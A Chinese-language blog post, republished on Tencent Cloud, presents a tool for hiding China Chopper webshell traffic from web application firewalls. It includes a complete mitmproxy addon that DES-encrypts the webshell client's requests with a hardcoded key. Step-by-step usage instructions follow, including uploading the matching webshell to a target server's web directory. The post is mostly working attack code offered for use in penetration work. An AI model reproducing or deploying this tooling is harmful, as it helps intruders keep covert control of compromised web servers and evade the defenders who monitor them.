前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

作者头像
C4rpeDime
发布2020-01-20 14:36:35
1.4K0
发布2020-01-20 14:36:35
举报
文章被收录于专栏:黑白安全

基于HTTP代理中转菜刀过WAF

前言

在实际的渗透过程中,我们常常因为WAF而头疼。源码免杀了而传输层却被拦截了实在难受。虽然现在很多优秀的应用。如蚁剑,C刀,冰蝎等。本文就通过在不修改程序源码,不重复造轮子,代码量最少的前提下实现类似冰蝎的加密传输。

思路

如果我们要实现类似冰蝎那种数据加密传输必定要拦截菜刀的发送数据。如何拦截呢?这里就可以想到中间人劫持了。利用中间人拦截了菜刀的传输数据然后进行自定义加密再发送给webshell。这不就成功了吗?类似下图

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF
CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

分割线上是菜刀正常的传输,下面是我们要实现的加密传输。在加密算法的选择上我选择了DES算法。

原因如下:

1. PHP 本版兼容性最高,代码量少且简单,不依赖openssl 2. 在其他脚本中也是相对较少的代码量和较好的兼容性

实现

基于菜刀20160622版本修改和测试。

利用MitmProxy作为中间人代理,只需要写个插件即可实现。

MitmProxy

安装(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)

pip[3] install mitmproxy pip[3] install pydes

插件代码:

代码语言:javascript
复制
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote

key = "KvCb2poU"
# 加密
def encrypt_str(key,data):
    # 加密方法
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 执行加密码
    k = method.encrypt(data)
    # 转base64编码并返回
    return base64.b64encode(k)

# 解密
def decrypt_str(key,data):
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 对base64编码解码
    k = base64.b64decode(data)
    # 再执行Des解密并返回
    return method.decrypt(k)

class Counter:

    def __init__(self):
        pass

    def request(self, flow: mitmproxy.http.HTTPFlow):

        print(key)
        print("first req:" + str(flow.request.content))
        flow.request.content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), flow.request.content),encoding="UTF-8")),encoding="UTF-8")
        print("req:" + str(flow.request.content))

    def response(self,flow: mitmproxy.http.HTTPFlow):
        flow.response.content = decrypt_str(key.encode(encoding="utf-8"),flow.response.content)
        print("decrypt resp:" + str(flow.response.content,encoding="utf-8"))

addons = [
    Counter()
]

使用

  1. 将支持 DES 加密的 Webshell 上传到服务器的 Web目录
  2. 运行下列代码开启代理中转(使用 -p 可以自定以端口) Windows:mitmdump -k -s 插件路径 Linux:mitmproxy -k -s 插件路径
  3. 用Proxifier等其他工具将菜刀或者域名加进代理规则即可。默认监听是8080
  4. 用菜刀直接连接就能开始食用啦
CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF
CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

Webshell和插件还有其他详情在github。

参考:

https://xz.aliyun.com/t/2739 https://github.com/ekgg/Caidao-AES-Version

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-04-266,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 思路
  • 实现
  • 使用
  • 参考:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档